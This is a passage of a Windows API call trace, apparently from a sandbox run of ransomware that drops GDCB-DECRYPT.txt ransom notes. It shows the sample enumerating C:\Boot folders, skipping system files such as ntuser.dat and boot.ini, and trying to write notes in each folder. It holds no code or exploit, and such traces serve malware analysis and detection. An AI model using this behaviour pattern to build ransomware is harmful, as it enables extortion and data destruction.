returned="C:\\Boot\\sr-Latn-RS" [0135.171] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS") returned 18 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0135.172] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0135.172] lstrlenW (lpString="C:\\Boot\\sv-SE") returned 13 [0135.172] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.172] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0135.172] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0135.172] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0135.172] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0135.172] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.172] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1 [0135.172] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1 [0135.172] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="uk-UA" | out: lpString1="C:\\Boot\\uk-UA") returned="C:\\Boot\\uk-UA" [0135.172] lstrlenW (lpString="C:\\Boot\\uk-UA") returned 13 [0135.172] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.172] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0135.172] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0135.172] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0135.172] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13 [0135.172] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.172] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0135.172] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0135.172] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0135.172] lstrlenW (lpString="C:\\Boot\\zh-HK") returned 13 [0135.172] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.172] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0135.172] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0135.172] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0135.172] lstrlenW (lpString="C:\\Boot\\zh-TW") returned 13 [0135.172] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.172] FindClose (in: hFindFile=0x2c7a40 | out: hFindFile=0x2c7a40) returned 1 [0135.172] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.172] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\\\GDCB-DECRYPT.txt") returned 25 [0135.172] CreateFileW (lpFileName="C:\\Boot\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.172] GetLastError () returned 0x50 [0135.172] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.173] lstrlenW (lpString="C:\\Boot\\") returned 8 [0135.173] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0135.173] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x2c7680 [0135.173] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.173] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.173] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.173] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.173] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0135.173] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0135.173] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0135.173] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.173] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD") returned 11 [0135.173] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0135.173] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.173] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.173] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0135.173] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0135.173] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0135.173] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.173] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG") returned 15 [0135.173] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0135.173] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.174] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.174] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0135.174] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0135.174] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0135.174] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.174] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG1") returned 16 [0135.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0135.174] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.174] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.174] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0135.174] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0135.174] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0135.174] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.174] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG2") returned 16 [0135.174] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0135.174] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.174] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.174] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1 [0135.174] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1 [0135.174] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bg-BG" | out: lpString1="C:\\Boot\\bg-BG") returned="C:\\Boot\\bg-BG" [0135.174] lstrcatW (in: lpString1="C:\\Boot\\bg-BG", lpString2="\\" | out: lpString1="C:\\Boot\\bg-BG\\") returned="C:\\Boot\\bg-BG\\" [0135.174] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.175] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.175] lstrlenW (lpString="C:\\Boot\\bg-BG\\") returned 14 [0135.175] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="*" | out: lpString1="C:\\Boot\\bg-BG\\*") returned="C:\\Boot\\bg-BG\\*" [0135.175] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.175] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.175] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.176] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.176] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.176] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.176] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.176] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.176] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned="C:\\Boot\\bg-BG\\bootmgr.exe.mui" [0135.176] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0135.176] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.176] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.176] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.176] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.176] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt" [0135.176] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0135.176] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.176] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.176] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.176] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.176] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\bg-BG\\\\GDCB-DECRYPT.txt") returned 31 [0135.176] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\bg-bg\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.176] GetLastError () returned 0x50 [0135.176] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.177] lstrlenW (lpString="C:\\Boot\\bg-BG\\") returned 14 [0135.177] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="*" | out: lpString1="C:\\Boot\\bg-BG\\*") returned="C:\\Boot\\bg-BG\\*" [0135.177] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.177] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.177] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.177] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.177] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.177] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.177] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.177] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned="C:\\Boot\\bg-BG\\bootmgr.exe.mui" [0135.177] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.177] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0135.177] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0135.177] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.177] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.177] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.177] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.177] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt" [0135.177] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.177] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0135.177] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0135.177] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0135.177] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0135.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.177] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.178] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.178] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.178] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.178] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.178] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.178] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0135.178] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0135.178] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0135.178] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.178] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0135.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0135.178] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.178] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.178] lstrcmpW (lpString1="bootvhd.dll", lpString2=".") returned 1 [0135.178] lstrcmpW (lpString1="bootvhd.dll", lpString2="..") returned 1 [0135.178] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bootvhd.dll" | out: lpString1="C:\\Boot\\bootvhd.dll") returned="C:\\Boot\\bootvhd.dll" [0135.178] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.178] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\bootvhd.dll") returned 19 [0135.178] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0135.178] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.179] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.179] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0135.179] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0135.179] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0135.179] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0135.179] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.179] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.179] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.179] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0135.179] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0135.179] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7640 [0135.180] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.180] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.180] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.180] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.180] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.180] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.180] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.180] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0135.180] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0135.180] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.180] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.180] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.180] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.180] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt" [0135.180] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0135.180] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.180] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.180] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.180] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.180] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned="C:\\Boot\\cs-CZ\\memtest.exe.mui" [0135.180] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0135.180] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.180] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.180] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.180] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.180] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\cs-CZ\\\\GDCB-DECRYPT.txt") returned 31 [0135.180] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\cs-cz\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.180] GetLastError () returned 0x50 [0135.180] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.181] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0135.181] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0135.181] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.181] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.181] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.181] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.181] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.181] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.181] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.181] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.181] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0135.181] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.181] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0135.181] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0135.181] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.181] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.181] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.181] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.181] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt" [0135.181] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.181] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0135.181] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0135.181] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0135.181] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0135.181] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.181] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.181] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.181] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.181] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.181] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.182] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.182] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.182] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.182] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.182] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.182] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.182] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.182] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned="C:\\Boot\\cs-CZ\\memtest.exe.mui" [0135.182] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.182] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0135.182] lstrlenW 